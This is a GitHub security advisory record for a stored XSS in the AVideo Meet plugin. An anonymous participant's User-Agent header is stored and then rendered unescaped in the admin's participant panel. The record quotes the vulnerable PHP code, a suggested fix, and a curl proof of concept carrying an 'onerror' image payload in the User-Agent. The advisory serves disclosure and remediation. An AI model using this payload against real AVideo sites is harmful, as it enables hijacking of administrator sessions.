{"id":"GHSA-7cqp-7cfv-6c3q","summary":"AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel","details":"### Summary\n\nThe Meet plugin stores the raw HTTP `User-Agent` header of every meeting participant and later renders it without output encoding in the meeting-management (\"Participants\") panel that the meeting host and site administrators open. An anonymous, unauthenticated attacker can join any public meeting while sending a `User-Agent` header containing an HTML payload. The payload is persisted in `meet_join_log.user_agent` and, when the host or an administrator opens the participant list, is injected verbatim into their DOM, executing attacker-controlled JavaScript in a privileged, authenticated session. This is a cross-privilege stored XSS: an anonymous visitor obtains script execution in the administrator's browser.\n\n### Affected versions\n\n`WWBN/AVideo` at current `master` commit `e8d6119f3cb1b849149906efeb0a41fc024f59f8` (and prior releases shipping the same code path). Not patched at the time of this report.\n\n### Privilege required\n\n- **Writer (attacker):** unauthenticated / anonymous. Joining a public meeting requires no account and no password.\n- **Victim (trigger):** the meeting host or any site administrator who opens the meeting's participant-management panel.\n\n### Vulnerable code (file:line)\n\nThe stored value is never sanitized on write, then echoed without encoding on read.\n\nWrite path — `plugin/Meet/Objects/Meet_join_log.php:147`:\n\n```php\n    public function setUser_agent($user_agent)\n    {\n        $this-\u003euser_agent = $user_agent;\n    }\n```\n\nWrite path — `plugin/Meet/Objects/Meet_join_log.php:177`:\n\n```php\n    public static function log($meet_schedule_id)\n    {\n        $log = new Meet_join_log(0);\n        $log-\u003esetIp(getRealIpAddr());\n        $log-\u003esetMeet_schedule_id($meet_schedule_id);\n        $log-\u003esetUser_agent((isMobile() ? \"Mobile: \" : \"\") . get_browser_name());\n        $log-\u003esetUsers_id(User::getId());\n        return $log-\u003esave();\n    }\n```\n\n`get_browser_name()` (`objects/functionsBrowser.php:239` and `:242`) returns the original-case `User-Agent` verbatim for any agent not matched to a known browser name:\n\n```php\n        return '[Bot] Other '.$user_agent;\n    }\n    //_error_log(\"Unknow user agent ($t) IP=\" . getRealIpAddr() . \" URI=\" . getRequestURI());\n    return 'Other (Unknown) '.$user_agent;\n```\n\nOnly the lowercased match copy is used for classification; the returned string still contains the raw, original `$_SERVER['HTTP_USER_AGENT']`. Because the value bypasses AVideo's object-setter sanitization layer (unlike `Meet_schedule::setTopic()`, which calls `xss_esc()`), the raw bytes reach the database unchanged.\n\nRead path — `plugin/Meet/getMeetInfo.json.php:71`:\n\n```php\n                        echo '\u003cli class=\"list-group-item\"\u003e#' . $count . \" - \" . User::getNameIdentificationById($value['users_id']) . ' \u003cspan class=\"badge\"\u003e' . $value['created'] . '\u003c/span\u003e\u003cbr\u003e\u003csmall class=\"text-muted\"\u003e' . $value['user_agent'] . '\u003c/small\u003e\u003c/li\u003e';\n```\n\n`$value['user_agent']` is concatenated into the HTML with no `htmlspecialchars()`. The reader endpoint is gated by `Meet_schedule::canManageSchedule()` (site admin OR the schedule owner), so the value is rendered in a privileged context.\n\n### How input reaches the sink\n\nThe join that records the log is reachable anonymously through `plugin/Meet/iframe.php:11` and `:17`:\n\n```php\nif (!Meet::validatePassword($meet_schedule_id, @$_REQUEST['meet_password'])) {\n    header(\"Location: {$global['webSiteRootURL']}plugin/Meet/confirmMeetPassword.php?meet_schedule_id=$meet_schedule_id\");\n    exit;\n}\n$objLive = AVideoPlugin::getObjectData(\"Live\");\nMeet_join_log::log($meet_schedule_id);\n```\n\nFor a public meeting (`public = 2`), `Meet::validatePassword()` returns `true` for an anonymous request (no password set), so `Meet_join_log::log()` runs and stores the attacker's `User-Agent`. On the read side, the host/admin opens the participant modal, whose JavaScript fetches `getMeetInfo.json.php` and injects the response with jQuery `.html()` in `plugin/Meet/meet_scheduled.php:266`:\n\n```js\n                                                                success: function (response) {\n                                                                    if (response.error) {\n                                                                        avideoAlert(\"\u003c?php echo __(\"Sorry!\"); ?\u003e\", response.msg, \"error\");\n                                                                    } else {\n                                                                        $('#Meet_schedule2\u003c?php echo $meet_scheduled, $manageMeetings; ?\u003eModal .modal-body').html(response.html);\n                                                                    }\n```\n\n`.html(response.html)` parses and inserts the attacker-controlled markup, so the injected `onerror` handler executes in the host/admin DOM.\n\n### Proof of concept — end-to-end reproduction (against pinned version)\n\nDeployed against the project's official Docker stack (php8.5/apache2.4 + mariadb), pinned commit `e8d6119f3cb1b849149906efeb0a41fc024f59f8`. `\u003cTARGET\u003e` is the deployed host.\n\n```bash\n# 1. As the admin, create a PUBLIC meeting (public=2, no password):\ncurl -sk -H 'Host: \u003cTARGET\u003e' -H \"Cookie: $ADMIN_SESSION\" -H 'Referer: https://\u003cTARGET\u003e/' \\\n  --data-urlencode 'RoomTopic=Demo' --data-urlencode 'public=2' --data-urlencode 'RoomPasswordNew=' \\\n  'https://\u003cTARGET\u003e/plugin/Meet/saveMeet.json.php'\n# Response: {\"error\":false,\"meet_schedule_id\":1, ...}\n\n# 2. As an ANONYMOUS attacker (no cookie), join the meeting while sending an HTML\n#    payload in the User-Agent. The trailing token \" http\" forces get_browser_name()\n#    into the raw-reflecting \"[Bot] Other\" branch.\ncurl -sk -H 'Host: \u003cTARGET\u003e' -H 'Referer: https://\u003cTARGET\u003e/' \\\n  -A '\u003cimg src=x onerror=alert(document.domain)\u003e http' \\\n  'https://\u003cTARGET\u003e/plugin/Meet/iframe.php?meet_schedule_id=1&meet_password='\n# HTTP 200. Stored row: meet_join_log.user_agent =\n#   [Bot] Other \u003cimg src=x onerror=alert(document.domain)\u003e http\n\n# 3. As the host/admin, open the participant panel:\ncurl -sk -H 'Host: \u003cTARGET\u003e' -H \"Cookie: $ADMIN_SESSION\" -H 'Referer: https://\u003cTARGET\u003e/plugin/Meet/' \\\n  'https://\u003cTARGET\u003e/plugin/Meet/getMeetInfo.json.php?meet_schedule_id=1'\n```\n\nThe JSON `html` field contains the payload **unescaped**:\n\n```html\n\u003csmall class=\"text-muted\"\u003e[Bot] Other \u003cimg src=x onerror=alert(document.domain)\u003e http\u003c/small\u003e\n```\n\nWhen the admin opens the participant modal in a browser, jQuery `.html(response.html)` injects this markup and the `onerror` handler executes in the admin's authenticated session, printing `document.domain`.\n\n**Negative control:** joining with a benign browser `User-Agent` (`Mozilla/5.0 (Windows NT 10.0) Chrome/120.0 Safari/537.36`) causes `get_browser_name()` to return `Chrome`, which renders as plain text `\u003csmall class=\"text-muted\"\u003eChrome\u003c/small\u003e` with no markup injection.\n\n### Impact\n\n- Cross-privilege stored XSS: an unauthenticated, anonymous visitor achieves JavaScript execution in the meeting host's and site administrator's authenticated browser sessions.\n- Full account-takeover surface: theft of the admin session, CSRF-token exfiltration, and arbitrary authenticated actions (user and permission changes, plugin configuration) performed as the administrator.\n- The payload persists in the database and fires for every privileged user who reviews the participant list of the affected meeting.\n\n### Suggested fix\n\nEncode the stored value at the sink in `plugin/Meet/getMeetInfo.json.php:71`:\n\n```php\n. '\u003c/span\u003e\u003cbr\u003e\u003csmall class=\"text-muted\"\u003e' . htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8') . '\u003c/small\u003e\u003c/li\u003e';\n```\n\nDefense in depth: sanitize the value on write in `Meet_join_log::setUser_agent()`, mirroring the setter-layer encoding used by `Meet_schedule::setTopic()` (`xss_esc()`), so any other current or future reader of `meet_join_log.user_agent` is also protected.\n\n### Fix PR\n\nA fix is provided on the advisory's private temporary fork: `WWBN/AVideo-ghsa-7cqp-7cfv-6c3q#1` (encodes the participant `User-Agent` at the sink with `htmlspecialchars($value['user_agent'], ENT_QUOTES, 'UTF-8')`).\n\n### Credit\n\nReported by tonghuaroot.","aliases":["CVE-2026-60092"],"modified":"2026-09-10T03:50:48.723129694Z","published":"2026-06-23T19:11:27Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-23T19:11:27Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-7cqp-7cfv-6c3q"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-7cqp-7cfv-6c3q/GHSA-7cqp-7cfv-6c3q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"}]}